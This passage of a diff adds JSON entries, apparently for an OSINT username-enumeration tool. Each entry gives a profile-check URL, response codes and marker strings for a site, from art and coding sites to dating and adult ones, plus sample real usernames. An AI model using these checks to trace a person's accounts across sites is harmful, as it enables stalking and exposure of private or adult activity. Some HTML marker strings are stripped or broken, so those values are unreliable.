"The page you requested wasn't there when we tried to get it for you. What a bother!", + "m_code": 404, + "known": [ + "luluc0", + "MuraArts" + ], + "cat": "art" + }, + { + "name": "ArtStation", + "uri_check": "https://www.artstation.com/{account}", + "e_code": 200, + "e_string": "Portfolio", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "kongaxl_design", + "alex_pi" + ], + "cat": "art" + }, + { + "name": "asciinema", + "uri_check": "https://asciinema.org/~{account}", + "e_code": 200, + "e_string": "class=\"profile-page\"", + "m_string": "<h1>404 Not Found</h1>", + "m_code": 404, + "known": [ + "john", + "red" + ], + "cat": "coding" + }, + { + "name": "AtCoder", + "uri_check": "https://atcoder.jp/users/{account}", + "e_code": 200, + "e_string": "<h3>Contest Status</h3>", + "m_string": ">404 Page Not Found</h1>", + "m_code": 404, + "known": [ + "apiad", + "kotatsugame" + ], + "cat": "coding" + }, + { + "name": "au.ru", + "uri_check": "https://au.ru/user/{account}/", + "e_code": 200, + "e_string": "Лоты пользователя ", + "m_string": "Пользователь не найден", + "m_code": 404, + "known": [ + "Svetlana7", + "nastya" + ], + "cat": "misc" + }, + { + "name": "Audiojungle", + "uri_check": "https://audiojungle.net/user/{account}", + "e_code": 200, + "e_string": "s profile on AudioJungle", + "m_string": "404 - Nothing to see here", + "m_code": 404, + "known": [ + "john", + "reds" + ], + "cat": "music" + }, + { + "name": "Avid Community", + "uri_check": "https://community.avid.com/members/{account}/default.aspx", + "headers": { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8", + "Cache-Control": "no-cache", + "Host": "community.avid.com", + "User-Agent": "Mozilla/5.0 (Mozilla/5.0 (X11; Linux i686; rv:128.0) Gecko/20100101 Firefox/128.0" + }, + "e_code": 200, + "e_string": "My Activity", + "m_string": "The user you requested cannot be found.", + "m_code": 302, + "known": [ + "Thayne", + "Admin" + ], + "cat": "music" + }, + { + "name": "babepedia", + "uri_check": "https://www.babepedia.com/user/{account}", + "e_code": 200, + "e_string": "'s Page", + "m_string": "Profile not found", + "m_code": 404, + "known": [ + "cherry", + "betty" + ], + "cat": "xx NSFW xx" + }, + { + "name": "BabyPips", + "uri_check": "https://forums.babypips.com/u/{account}.json", + "uri_pretty": "https://forums.babypips.com/u/{account}/summary", + "e_code": 200, + "e_string": "user_badges", + "m_string": "The requested URL or resource could not be found", + "m_code": 404, + "known": [ + "baemax023", + "scottycarsonmvp" + ], + "cat": "social" + }, + { + "name": "Bandcamp", + "uri_check": "https://bandcamp.com/{account}", + "e_code": 200, + "e_string": " collection | Bandcamp", + "m_string": "

Sorry, that something isn’t here.

", + "m_code": 404, + "known": [ + "alice", + "bob" + ], + "cat": "music" + }, + { + "name": "Bandlab", + "uri_check": "https://www.bandlab.com/api/v1.3/users/{account}", + "uri_pretty": "https://www.bandlab.com/{account}", + "e_code": 200, + "e_string": "about", + "m_string": "Couldn't find any matching element, it might be deleted", + "m_code": 404, + "known": [ + "rave_flawless", + "delutaya" + ], + "cat": "music" + }, + { + "name": "bblog_ru", + "uri_check": "https://www.babyblog.ru/user/{account}", + "e_code": 200, + "e_string": ") — дневник на Babyblog.ru", + "m_string": "БэбиБлог - беременность, календарь беременности, дневники", + "m_code": 200, + "known": [ + "joyfitnessdance1", + "bobkokatya94" + ], + "cat": "misc" + }, + { + "name": "BDSMLR", + "uri_check": "https://{account}.bdsmlr.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "login", + "m_string": "This blog doesn't exist.", + "m_code": 200, + "known": [ + "themunch", + "shibari4all" + ], + "cat": "xx NSFW xx" + }, + { + "name": "bdsmsingles", + "uri_check": "https://www.bdsmsingles.com/members/{account}/", + "e_code": 200, + "e_string": "Profile", + "m_string": "BDSM Singles", + "m_code": 302, + "known": [ + "GoddessBlueDiamo", + "aalama" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Beacons", + "uri_check": "https://beacons.ai/{account}", + "e_code": 200, + "e_string": " - Link in Bio & Creator Tools | Beacons", + "m_string": "The page you are looking for does not seem to exist anymore", + "m_code": 200, + "known": [ + "rafaballerini", + "lexaloco", + "jardred" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Bentbox", + "uri_check": "https://bentbox.co/{account}", + "e_code": 200, + "e_string": "
", + "m_string": "This user is currently not available", + "m_code": 200, + "known": [ + "brockdoom", + "witchhouse", + "hotoptics" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Bento", + "uri_check": "https://bento.me/{account}", + "e_code": 200, + "e_string": "href=\"https://bento.me/explore\"", + "m_string": ">Available!
", + "m_code": 404, + "known": [ + "carlito", + "taylor" + ], + "cat": "social" + }, + { + "name": "BiggerPockets", + "uri_check": "https://www.biggerpockets.com/users/{account}", + "e_code": 200, + "e_string": "| BiggerPockets", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "trustgreene", + "chasel9" + ], + "cat": "finance" + }, + { + "name": "BIGO Live", + "uri_check": "https://www.bigo.tv/user/{account}", + "e_code": 200, + "e_string": "userInfo:{nickName", + "m_string": "userInfo:{}", + "m_code": 200, + "known": [ + "treasdior", + "Jacin19" + ], + "cat": "gaming" + }, + { + "name": "Bikemap", + "uri_check": "https://www.bikemap.net/en/u/{account}/routes/created/", + "e_code": 200, + "e_string": "- 🚲 Bikemap", + "m_string": "Page not found - Error 404 ", + "m_code": 404, + "known": [ + "mike", + "greg" + ], + "cat": "health" + }, + { + "name": "Bimpos", + "uri_check": "https://ask.bimpos.com/user/{account}", + "e_code": 200, + "e_string": "<title>User ", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "john", + "db" + ], + "cat": "tech" + }, + { + "name": "Bio Sites", + "uri_check": "https://bio.site/{account}", + "e_code": 200, + "e_string": "section\":{\"handles", + "m_string": "This site no longer exists", + "m_code": 404, + "known": [ + "leticiabufoni", + "kayurkaRhea" + ], + "cat": "social" + }, + { + "name": "biolink", + "uri_check": "https://bio.link/{account}", + "e_code": 200, + "e_string": "profile:username", + "m_string": "The page you’re looking for doesn’t exist", + "m_code": 404, + "known": [ + "adli_hm", + "jake" + ], + "cat": "misc" + }, + { + "name": "Bitbucket", + "uri_check": "https://bitbucket.org/!api/2.0/repositories/{account}?page=1&pagelen=25&sort=-updated_on&q=&fields=-values.owner%2C-values.workspace", + "uri_pretty": "https://bitbucket.org/{account}/workspace/repositories/", + "e_code": 200, + "e_string": "full_name", + "m_string": "No workspace with identifier", + "m_code": 404, + "known": [ + "LaNMaSteR53", + "osamahalisawi" + ], + "cat": "coding" + }, + { + "name": "Bitchute", + "uri_check": "https://api.bitchute.com/api/beta/channel", + "uri_pretty": "https://www.bitchute.com/channel/{account}/", + "post_body": "{\"channel_id\":\"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"channel_id\":", + "m_string": "\"errors\":", + "m_code": 404, + "known": [ + "simon_parkes", + "americafloats", + "daindor" + ], + "cat": "political" + }, + { + "name": "Blogger", + "uri_check": "https://www.blogger.com/profile/{account}", + "e_code": 200, + "e_string": "shadow-light user-stats", + "m_string": "Sorry, the blog you were looking for does not exist.", + "m_code": 405, + "known": [ + "07333944864481878697", + "05941544278367416980" + ], + "cat": "blog" + }, + { + "name": "blogi.pl", + "uri_check": "https://www.blogi.pl/osoba,{account}.html", + "e_code": 200, + "e_string": "Informacje ogólne", + "m_string": "Niepoprawny adres.", + "m_code": 200, + "known": [ + "naukowa", + "izkpaw" + ], + "cat": "blog" + }, + { + "name": "Blogmarks", + "uri_check": "http://blogmarks.net/user/{account}", + "e_code": 200, + "e_string": "class=\"mark\"", + "m_string": "", + "m_code": 200, + "known": [ + "test", + "mike" + ], + "cat": "misc" + }, + { + "name": "Blogspot", + "uri_check": "http://{account}.blogspot.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "Blogger Template Style", + "m_string": "Blog not found", + "m_code": 404, + "known": [ + "test" + ], + "cat": "blog" + }, + { + "name": "Bluesky 1", + "uri_check": "https://bsky.app/profile/{account}", + "e_code": 200, + "e_string": "on Bluesky", + "m_string": "<p id=\"bsky_did\"></p>", + "m_code": 200, + "known": [ + "bsky.app", + "safety.bsky.app" + ], + "cat": "social" + }, + { + "name": "Bluesky 2", + "uri_check": "https://public.api.bsky.app/xrpc/app.bsky.actor.getProfile?actor={account}.bsky.social", + "uri_pretty": "https://bsky.app/profile/{account}.bsky.social", + "e_code": 200, + "e_string": "\"handle\":\"", + "m_string": "\"message\":\"Profile not found\"", + "m_code": 400, + "known": [ + "john", + "mark" + ], + "cat": "social" + }, + { + "name": "BoardGameGeek", + "uri_check": "https://api.geekdo.com/api/accounts/validate/username?username={account}", + "uri_pretty": "https://boardgamegeek.com/user/{account}", + "e_code": 200, + "e_string": "\"message\":\"Sorry, this username is already taken.\"", + "m_string": "\"isValid\":true", + "m_code": 200, + "known": [ + "ntrautner", + "Petdoc" + ], + "cat": "gaming" + }, + { + "name": "BodyBuilding.com", + "uri_check": "http://api.bodybuilding.com/api-proxy/bbc/get?slug={account}", + "uri_pretty": "http://bodyspace.bodybuilding.com/{account}/", + "e_code": 200, + "e_string": "username", + "m_string": "data\" :\"\"", + "m_code": 200, + "known": [ + "mike" + ], + "cat": "health" + }, + { + "name": "bonga_cams", + "uri_check": "https://pt.bongacams.com/{account}", + "e_code": 200, + "e_string": "Chat público ao vivo de", + "m_string": "Câmaras de sexo free: chat pornô ao vivo", + "m_code": 404, + "known": [ + "prettykatea", + "milaowens" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Bookcrossing", + "uri_check": "https://www.bookcrossing.com/mybookshelf/{account}", + "e_code": 200, + "e_string": "Recent Book Activity", + "m_string": "Sorry, we were unable to locate the content that you requested.", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "hobby" + }, + { + "name": "Booknode", + "uri_check": "https://booknode.com/profil/{account}", + "e_code": 200, + "e_string": "<title>Profil de", + "m_string": "<title>Page non trouvée", + "m_code": 404, + "known": [ + "Paraffine", + "chanoa" + ], + "cat": "hobby" + }, + { + "name": "Boosty", + "uri_check": "https://api.boosty.to/v1/blog/{account}", + "uri_pretty": "https://boosty.to/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"error\":\"blog_not_found\"", + "m_code": 404, + "known": [ + "evdokia", + "lana" + ], + "cat": "social" + }, + { + "name": "Booth", + "uri_check": "https://{account}.booth.pm/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "- BOOTH", + "m_string": "BOOTH - The International Indie Art Marketplace", + "m_code": 302, + "known": [ + "monoliorder", + "hasya" + ], + "cat": "shopping" + }, + { + "name": "Brickset", + "uri_check": "https://brickset.com/profile/{account}", + "e_code": 200, + "e_string": "Member since:", + "m_string": "{name}", + "m_code": 200, + "known": [ + "lowlead", + "vwong19" + ], + "cat": "hobby" + }, + { + "name": "BugCrowd", + "uri_check": "https://bugcrowd.com/{account}/profile_widgets", + "uri_pretty": "https://bugcrowd.com/{account}", + "e_code": 200, + "e_string": "\"widgets\":", + "m_string": "class='cc-error-page__msg'", + "m_code": 404, + "known": [ + "lopseg", + "Ebrietas" + ], + "cat": "tech" + }, + { + "name": "Bunpro", + "uri_check": "https://community.bunpro.jp/u/{account}.json", + "e_code": 200, + "e_string": "username", + "m_string": "The requested URL or resource could not be found.", + "m_code": 404, + "known": [ + "blacktide", + "honey" + ], + "cat": "social" + }, + { + "name": "Buy Me a Coffee", + "uri_check": "https://app.buymeacoffee.com/api/v1/check_availability", + "uri_pretty": "https://buymeacoffee.com/{account}", + "post_body": "{\"project_slug\":\"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"available\":false", + "m_string": "\"available\":true", + "m_code": 200, + "known": [ + "freebird", + "robinwong" + ], + "cat": "finance", + "protection": [ + "cloudflare" + ] + }, + { + "name": "BuzzFeed", + "uri_check": "https://www.buzzfeed.com/{account}", + "e_code": 200, + "e_string": " on BuzzFeed", + "m_string": "Es posible que el enlace que seleccionaste esté roto o que se haya eliminado la página", + "m_code": 404, + "known": [ + "braftty", + "guillermo" + ], + "cat": "misc" + }, + { + "name": "Calendy", + "uri_check": "https://calendly.com/{account}", + "e_code": 200, + "e_string": "og:author", + "m_string": "Sorry, but the page you were looking for could not be found.", + "m_code": 404, + "known": [ + "honey", + "roger" + ], + "cat": "misc" + }, + { + "name": "Cameo", + "uri_check": "https://www.cameo.com/{account}", + "e_code": 200, + "e_string": "aggregateRating", + "m_string": "", + "m_code": 301, + "known": [ + "michael_owen10", + "sarahall3" + ], + "cat": "shopping" + }, + { + "name": "Carbonmade", + "uri_check": "https://{account}.carbonmade.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "s online portfolio", + "m_string": "site not found", + "m_code": 404, + "known": [ + "jenny", + "bob" + ], + "cat": "hobby" + }, + { + "name": "Career.habr", + "uri_check": "https://career.habr.com/{account}", + "e_code": 200, + "e_string": "— Хабр Карьера", + "m_string": "Ошибка 404", + "m_code": 404, + "known": [ + "alex", + "bob" + ], + "cat": "business" + }, + { + "name": "carrd.co", + "uri_check": "https://{account}.carrd.co", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "( Made with Carrd )", + "m_string": "Sorry, the requested page could not be found.", + "m_code": 404, + "known": [ + "liam", + "peter" + ], + "cat": "business" + }, + { + "name": "CastingCallClub", + "uri_check": "https://www.castingcall.club/{account}", + "e_code": 200, + "e_string": "| Casting Call Club", + "m_string": "404: This is not the page you were looking for. In the future, our AI robot overlords will be able to better predict exactly what you were looking for.", + "m_code": 302, + "known": [ + "Lindz", + "Danye" + ], + "cat": "hobby" + }, + { + "name": "CD-Action", + "uri_check": "https://cdaction.pl/uzytkownicy/{account}", + "e_code": 200, + "e_string": "Lista gier:", + "m_string": "Coś się popsuło...", + "m_code": 404, + "known": [ + "saczuan", + "cormac" + ], + "cat": "gaming" + }, + { + "name": "cda.pl", + "uri_check": "https://www.cda.pl/{account}", + "e_code": 200, + "e_string": "Foldery", + "m_string": "Strona na którą chcesz wejść nie istnieje", + "m_code": 200, + "known": [ + "test2", + "janek" + ], + "cat": "video" + }, + { + "name": "Cent", + "uri_check": "https://beta.cent.co/data/user/profile?userHandles={account}", + "uri_pretty": "https://beta.cent.co/{account}/", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"results\":[]", + "m_code": 200, + "known": [ + "alex", + "ben" + ], + "cat": "social" + }, + { + "name": "cfx.re", + "uri_check": "https://forum.cfx.re/u/{account}.json", + "uri_pretty": "https://forum.cfx.re/u/{account}/summary", + "e_code": 200, + "e_string": "created_at", + "m_string": "The requested URL or resource could not be found.", + "m_code": 404, + "known": [ + "masiball", + "anel_hadzyc", + "kiminaze" + ], + "cat": "gaming" + }, + { + "name": "championat", + "uri_check": "https://www.championat.com/user/{account}/", + "e_code": 200, + "e_string": "Личный профил", + "m_string": "Извините, запрашиваемая страница не найдена", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "news" + }, + { + "name": "Chamsko", + "uri_check": "https://www.chamsko.pl/profil/{account}", + "e_code": 200, + "e_string": "W serwisie od", + "m_string": "Strona nie istnieje.", + "m_code": 404, + "known": [ + "test", + "janek" + ], + "cat": "images" + }, + { + "name": "chatango.com", + "uri_check": "https://{account}.chatango.com", + "e_code": 200, + "e_string": "Chatango!", + "m_string": "<title>Unknown User!", + "m_code": 200, + "known": [ + "7nights", + "merbailey", + "steakomura", + "equicentric" + ], + "cat": "social" + }, + { + "name": "chaturbate", + "uri_check": "https://chaturbate.com/{account}/", + "e_code": 200, + "e_string": "'s Bio and Free Webcam", + "m_string": "It's probably just a broken link", + "m_code": 404, + "known": [ + "pussylovekate", + "kemii" + ], + "cat": "xx NSFW xx" + }, + { + "name": "cHEEZburger", + "uri_check": "https://profile.cheezburger.com/{account}", + "e_code": 200, + "e_string": "profile-header", + "m_string": "<title>Home - ", + "m_code": 302, + "known": [ + "john" + ], + "cat": "hobby" + }, + { + "name": "Chess.com", + "uri_check": "https://api.chess.com/pub/player/{account}", + "uri_pretty": "https://www.chess.com/member/{account}", + "e_code": 200, + "e_string": "player_id", + "m_string": "not found", + "m_code": 404, + "known": [ + "john", + "peter", + "josh" + ], + "cat": "gaming" + }, + { + "name": "Choko.Link", + "uri_check": "https://choko.link/api/auth/check", + "uri_pretty": "https://choko.link/{account}", + "post_body": "{\"username\":\"{account}\"}", + "e_code": 200, + "e_string": "\"result\":false", + "m_string": "\"result\":true", + "m_code": 200, + "known": [ + "yaroslava_lytvyak", + "eugeniapsychology" + ], + "cat": "social" + }, + { + "name": "Chomikuj.pl", + "uri_check": "https://chomikuj.pl/{account}/", + "e_code": 200, + "e_string": "Foldery", + "m_string": "Chomik o takiej nazwie nie istnieje", + "m_code": 404, + "known": [ + "test", + "test2" + ], + "cat": "misc" + }, + { + "name": "Chyoa", + "uri_check": "https://chyoa.com/user/{account}", + "e_code": 200, + "e_string": "When I'm not reading erotica I like to read", + "m_string": "Sorry, I got distracted...", + "m_code": 404, + "known": [ + "joe", + "carlos01" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Cloudflare", + "uri_check": "https://community.cloudflare.com/u/{account}/card.json", + "uri_pretty": "https://community.cloudflare.com/u/{account}", + "e_code": 200, + "e_string": "user_avatar", + "m_string": "The requested URL or resource could not be found", + "m_code": 404, + "known": [ + "carl", + "morten" + ], + "cat": "tech" + }, + { + "name": "Clubhouse", + "uri_check": "https://www.clubhouse.com/@{account}", + "e_code": 200, + "e_string": "\"user\":", + "m_string": "404", + "m_code": 404, + "known": [ + "kirbyplessas", + "rohan" + ], + "cat": "social" + }, + { + "name": "cnet", + "uri_check": "https://www.cnet.com/profiles/{account}/", + "e_code": 200, + "e_string": "Member Since:", + "m_string": "Page Not Found (404) - CNET", + "m_code": 301, + "known": [ + "john", + "bob" + ], + "cat": "news" + }, + { + "name": "Coda", + "uri_check": "https://coda.io/@{account}/", + "e_code": 200, + "e_string": "- Coda Profile", + "m_string": "Coda | Page not found - Coda", + "m_code": 404, + "known": [ + "huizer", + "kennywong" + ], + "cat": "hobby" + }, + { + "name": "Code Project", + "uri_check": "https://www.codeproject.com/Members/{account}", + "e_code": 200, + "e_string": "Member since", + "m_string": "Unable to load the requested member's information", + "m_code": 200, + "known": [ + "WmCraig", + "Rick-York" + ], + "cat": "coding" + }, + { + "name": "Codeberg", + "uri_check": "https://codeberg.org/{account}", + "e_code": 200, + "e_string": "Joined on", + "m_string": "The page you are trying to reach either", + "m_code": 404, + "known": [ + "dachary", + "happy" + ], + "cat": "coding" + }, + { + "name": "Codecademy", + "uri_check": "https://discuss.codecademy.com/u/{account}/summary", + "e_code": 200, + "e_string": " Profile - ", + "m_string": "Oops! That page doesn’t exist", + "m_code": 404, + "known": [ + "doctypeme", + "ocean.war" + ], + "cat": "coding" + }, + { + "name": "CodeChef", + "uri_check": "https://www.codechef.com/users/{account}", + "e_code": 200, + "e_string": "class=\"user-profile-container\"", + "m_string": "", + "m_code": 302, + "known": [ + "maroonrk", + "lyrically" + ], + "cat": "coding" + }, + { + "name": "Codeforces", + "uri_check": "https://codeforces.com/api/user.info?handles={account}", + "uri_pretty": "https://codeforces.com/profile/{account}", + "e_code": 200, + "e_string": "\"status\":\"OK\"", + "m_string": "\"status\":\"FAILED\"", + "m_code": 400, + "known": [ + "Abdul01", + "Abdullah" + ], + "cat": "coding" + }, + { + "name": "codementor", + "uri_check": "https://www.codementor.io/@{account}", + "e_code": 200, + "e_string": "ABOUT ME", + "m_string": "404/favicon.png", + "m_code": 404, + "known": [ + "e4c5", + "juanelfers" + ], + "cat": "coding" + }, + { + "name": "CodePen", + "uri_check": "https://codepen.io/{account}", + "e_code": 200, + "e_string": "property=\"og:url\"", + "m_string": "data-test-id=\"text-404\"", + "m_code": 404, + "known": [ + "good88gorg", + "RayyanDonut" + ], + "cat": "coding", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Coderwall", + "uri_check": "https://coderwall.com/{account}/", + "e_code": 200, + "e_string": "s profile |", + "m_string": "404! Our feels when that url is used", + "m_code": 404, + "known": [ + "john", + "test" + ], + "cat": "coding" + }, + { + "name": "Codewars", + "uri_check": "https://www.codewars.com/users/{account}", + "e_code": 200, + "e_string": "| Codewars", + "m_string": "Whoops! The page you were looking for doesn't seem to exist.", + "m_code": 404, + "known": [ + "john", + "reds" + ], + "cat": "coding" + }, + { + "name": "COLOURlovers", + "uri_check": "https://www.colourlovers.com/ajax/check-username-availability", + "uri_pretty": "https://www.colourlovers.com/lover/{account}", + "post_body": "userName={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "e_code": 200, + "e_string": "\"_status\":\"unavailable\"", + "m_string": "\"_status\":\"available\"", + "m_code": 200, + "known": [ + "timanttimaarit", + "tsoloweyko" + ], + "cat": "hobby", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Community Adobe", + "uri_check": "https://community.adobe.com/t5/forums/searchpage/tab/user?q={account}", + "e_code": 200, + "e_string": "UserSearchItemContainer", + "m_string": "No search results found.", + "m_code": 200, + "known": [ + "test", + "janet" + ], + "cat": "tech" + }, + { + "name": "contactos.sex", + "uri_check": "https://www.contactossex.com/profile/{account}", + "e_code": 200, + "e_string": "Información Personal", + "m_string": "Desde 2001 conectando gente!", + "m_code": 302, + "known": [ + "danijak", + "darkfox" + ], + "cat": "xx NSFW xx" + }, + { + "name": "coroflot", + "uri_check": "https://www.coroflot.com/{account}", + "e_code": 200, + "e_string": "portfolio", + "m_string": "Looking for something?", + "m_code": 404, + "known": [ + "john", + "blue" + ], + "cat": "art" + }, + { + "name": "Coub", + "uri_check": "https://coub.com/api/v2/channels/{account}", + "uri_pretty": "https://coub.com/{account}/", + "e_code": 200, + "e_string": "\"user_id\":", + "m_string": "\"error\":\"Unhandled exception\"", + "m_code": 404, + "known": [ + "djantidog", + "mcnorington" + ], + "cat": "social" + }, + { + "name": "cowboys4angels", + "uri_check": "https://cowboys4angels.com/cowboy/{account}/", + "e_code": 200, + "e_string": " - Cowboys 4 Angels", + "m_string": "Error Page not found", + "m_code": 404, + "known": [ + "jaxjames", + "jordan-2" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Cracked", + "uri_check": "https://www.cracked.com/members/{account}", + "e_code": 200, + "e_string": "Member Since", + "m_string": "", + "m_code": 302, + "known": [ + "mbattagl", + "Hatchback" + ], + "cat": "social" + }, + { + "name": "cracked_io", + "uri_check": "https://cracked.io/{account}", + "e_code": 200, + "e_string": "Cracked.io - Profile of", + "m_string": "The member you specified is either invalid or doesn't exist", + "m_code": 404, + "known": [ + "RealPsycho", + "SamWinchester" + ], + "cat": "social" + }, + { + "name": "crevado", + "uri_check": "https://{account}.crevado.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "Portfolio", + "m_string": "Site not found :-(", + "m_code": 404, + "known": [ + "john", + "red" + ], + "cat": "images" + }, + { + "name": "Cropty", + "uri_check": "https://api.cropty.io/v1/auth/{account}", + "uri_pretty": "https://www.cropty.io/@{account}", + "e_code": 200, + "e_string": "\"name\":", + "m_string": "\"errors\":", + "m_code": 404, + "known": [ + "mailmal", + "dosash" + ], + "cat": "finance" + }, + { + "name": "Crowdin", + "uri_check": "https://crowdin.com/profile/{account}", + "e_code": 200, + "e_string": "id=\"profile-page\"", + "m_string": "class=\"error-page\"", + "m_code": 404, + "known": [ + "erga", + "peter" + ], + "cat": "hobby" + }, + { + "name": "Cults3D", + "uri_check": "https://cults3d.com/en/users/{account}/creations", + "e_code": 200, + "e_string": "All the 3D models of", + "m_string": "Oh dear, this page is not working!", + "m_code": 404, + "known": [ + "Bstar3Dart", + "john" + ], + "cat": "hobby" + }, + { + "name": "Cytoid", + "uri_check": "https://cytoid.io/profile/{account}", + "e_code": 200, + "e_string": "Joined", + "m_string": "Profile not found", + "m_code": 404, + "known": [ + "nyala", + "speedymlg7" + ], + "cat": "gaming" + }, + { + "name": "Daily Kos", + "uri_check": "https://www.dailykos.com/user/{account}", + "e_code": 200, + "e_string": "id=\"userData\"", + "m_string": "Page not found! (404)", + "m_code": 404, + "known": [ + "msouza", + "kos" + ], + "cat": "news" + }, + { + "name": "darudar", + "uri_check": "https://darudar.org/users/{account}/", + "e_code": 200, + "e_string": ". Дарудар", + "m_string": "404. Дару~дар: миру~мир!", + "m_code": 404, + "known": [ + "svetlana7", + "igor" + ], + "cat": "misc" + }, + { + "name": "dateinasia", + "uri_check": "https://www.dateinasia.com/{account}", + "e_code": 200, + "e_string": "About me", + "m_string": "The page you are looking for does not exist", + "m_code": 404, + "known": [ + "shime", + "janeferater" + ], + "cat": "dating" + }, + { + "name": "datezone", + "uri_check": "https://www.datezone.com/users/{account}/", + "e_code": 200, + "e_string": "profile_status", + "m_string": "404: page not found", + "m_code": 200, + "known": [ + "maniektwist", + "carllos" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Dating.ru", + "uri_check": "https://dating.ru/{account}/", + "e_code": 200, + "e_string": "| dating.ru", + "m_string": "Такой страницы не существует.", + "m_code": 404, + "known": [ + "john", + "blue" + ], + "cat": "dating" + }, + { + "name": "DDoSecrets", + "uri_check": "https://search.ddosecrets.com/search?q={account}", + "e_code": 200, + "e_string": "aria-label=\"Search result pages\"", + "m_string": "

No results

", + "m_code": 200, + "known": [ + "egord", + "Mddearing" + ], + "cat": "archived" + }, + { + "name": "Demotywatory", + "uri_check": "https://demotywatory.pl/user/{account}", + "e_code": 200, + "e_string": "Z nami od:", + "m_string": "Użytkownik o podanym pseudonimie nie istnieje.", + "m_code": 200, + "known": [ + "test", + "test2" + ], + "cat": "images" + }, + { + "name": "depop", + "uri_check": "https://www.depop.com/{account}/", + "e_code": 200, + "e_string": "s Shop - Depop", + "m_string": "Sorry, that page doesn't exist", + "m_code": 404, + "known": [ + "sara", + "susan" + ], + "cat": "shopping" + }, + { + "name": "Designspriation", + "uri_check": "https://www.designspiration.com/{account}/", + "e_code": 200, + "e_string": "has discovered on Designspiration", + "m_string": "Content Not Found", + "m_code": 404, + "known": [ + "sam", + "smith" + ], + "cat": "art" + }, + { + "name": "destream", + "uri_check": "https://api.destream.net/siteapi/v2/live/details/{account}", + "uri_pretty": "https://destream.net/live/{account}", + "e_code": 200, + "e_string": "\"userName\":", + "m_string": "\"errorMessage\":\"Error happened.\"", + "m_code": 400, + "known": [ + "skromnuy_fifa", + "wudjer" + ], + "cat": "finance" + }, + { + "name": "Destructoid", + "uri_check": "https://www.destructoid.com/?name={account}", + "e_code": 200, + "e_string": "Follow", + "m_string": "Error in query", + "m_code": 200, + "known": [ + "john", + "alice", + "bob" + ], + "cat": "social" + }, + { + "name": "dev.to", + "uri_check": "https://dev.to/{account}", + "e_code": 200, + "e_string": "\"@id\":", + "m_string": "class=\"not-found-page base-background-color\"", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "coding", + "protection": [ + "other" + ] + }, + { + "name": "DeviantArt", + "uri_check": "https://www.deviantart.com/{account}", + "e_code": 200, + "e_string": " | DeviantArt", + "m_string": "DeviantArt: 404", + "m_code": 404, + "known": [ + "rattybike", + "john" + ], + "cat": "images" + }, + { + "name": "devRant", + "uri_check": "https://devrant.com/users/{account}", + "e_code": 200, + "e_string": "Joined devRant on", + "m_string": "", + "m_code": 302, + "known": [ + "dfox", + "trogus" + ], + "cat": "coding" + }, + { + "name": "dfgames", + "uri_check": "https://www.dfgames.com.br/user/{account}", + "e_code": 200, + "e_string": "Reputa", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "carlos01", + "eduardo" + ], + "cat": "gaming" + }, + { + "name": "Diablo", + "uri_check": "https://diablo2.io/member/{account}/", + "e_code": 200, + "e_string": "Viewing profile - ", + "m_string": "The requested user does not exist", + "m_code": 404, + "known": [ + "Mike01", + "John" + ], + "cat": "gaming" + }, + { + "name": "DIBIZ", + "uri_check": "https://www.dibiz.com/{account}", + "e_code": 200, + "e_string": "Add to contacts
", + "m_string": "An Error Has Occurred", + "m_code": 404, + "known": [ + "fractalhue", + "rid" + ], + "cat": "business" + }, + { + "name": "Digitalspy", + "uri_check": "https://forums.digitalspy.com/profile/discussions/{account}", + "e_code": 200, + "e_string": "About", + "m_string": "User not found", + "m_code": 404, + "known": [ + "JeffG1", + "Maxatoria" + ], + "cat": "social" + }, + { + "name": "diigo", + "uri_check": "https://www.diigo.com/interact_api/load_profile_info?name={account}", + "uri_pretty": "https://www.diigo.com/profile/{account}", + "e_code": 200, + "e_string": "regist_at", + "m_string": "{}", + "m_code": 200, + "known": [ + "whoami", + "johndoe" + ], + "cat": "images" + }, + { + "name": "Discogs", + "uri_check": "https://api.discogs.com/users/{account}", + "uri_pretty": "https://www.discogs.com/user/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"message\": \"User does not exist or may have been deleted.\"", + "m_code": 404, + "known": [ + "damiano84", + "bernadette69" + ], + "cat": "music" + }, + { + "name": "Discord Invites", + "uri_check": "https://discord.com/api/v9/invites/{account}?with_counts=true&with_expiration=true", + "uri_pretty": "https://discord.com/invite/{account}", + "e_code": 200, + "e_string": "\"channel\":", + "m_string": "\"message\": \"Unknown Invite\"", + "m_code": 404, + "known": [ + "test", + "web" + ], + "cat": "social" + }, + { + "name": "Discord Users", + "uri_check": "https://discord.com/api/v9/unique-username/username-attempt-unauthed", + "post_body": "{\"username\": \"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"taken\":true", + "m_string": "\"taken\":false", + "m_code": 200, + "known": [ + "test", + "web" + ], + "cat": "social" + }, + { + "name": "Discourse", + "uri_check": "https://meta.discourse.org/u/{account}/summary.json", + "uri_pretty": "https://meta.discourse.org/u/{account}", + "e_code": 200, + "e_string": "topics", + 